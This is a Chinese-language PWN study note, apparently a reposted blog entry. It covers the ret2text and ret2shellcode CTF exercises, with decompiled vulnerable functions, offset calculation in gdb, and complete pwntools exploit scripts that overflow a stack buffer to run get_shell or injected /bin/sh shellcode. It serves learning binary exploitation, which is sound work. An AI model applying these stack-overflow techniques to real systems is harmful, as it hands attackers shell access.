PWN学习笔记

PWN学习笔记

环境准备

  • Ubuntu 18 (Ubuntu 20 好多题目程序运行不了)
  • pwntools
  • gdb & pwndbg
  • IDA Pro

题目

ret2text

打开IDA Pro

PfUNI.png

看到一个get_shell、vulnerable、main函数。

main函数调用了vulnerable函数。

int vulnerable()
{
  char buffer[8]; // [esp+8h] [ebp-10h]

  gets(buffer);
  return 0;
}

这里只要让栈溢出后接入get_shell的地址就能调用get_shell函数了。

使用 IDA PRO 找到get_shell函数的地址:0x08048522

使用GDB调试出偏移量

Pfry1.png

0xffffcf78 - 0xffffcf68 = 16

16在加4就是偏移量

from pwn import *
context(os='linux',arch='i386',log_level='debug')
io = process("ret2text")
payload = b'a' * 20 + p32(0x08048522)
io.sendline(payload)
io.interactive()

ret2shellcode

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets(&s);
  strncpy(buf2, &s, 0x64u);
  printf("bye bye ~");
  return 0;
}

这里将s 拷贝给buf2

首先要找到buf2的地址:0x0804A080

用 cyclic 1000 生成1000个垃圾字符

gdb ret2shellcode

run

然后输入1000个垃圾字符

PfF2m.png

cyclic -l 0x62616164

得到112

from pwn import *

context(os='linux',arch='i386',log_level='debug')
io = process("ret2shellcode")
shellcode = asm(shellcraft.i386.linux.sh())
payload = shellcode.ljust(112,'A') + p32(0x0804A080)
io.sendline(payload)
io.interactive()
原文地址:https://www.cnblogs.com/skyxmao/p/13432601.html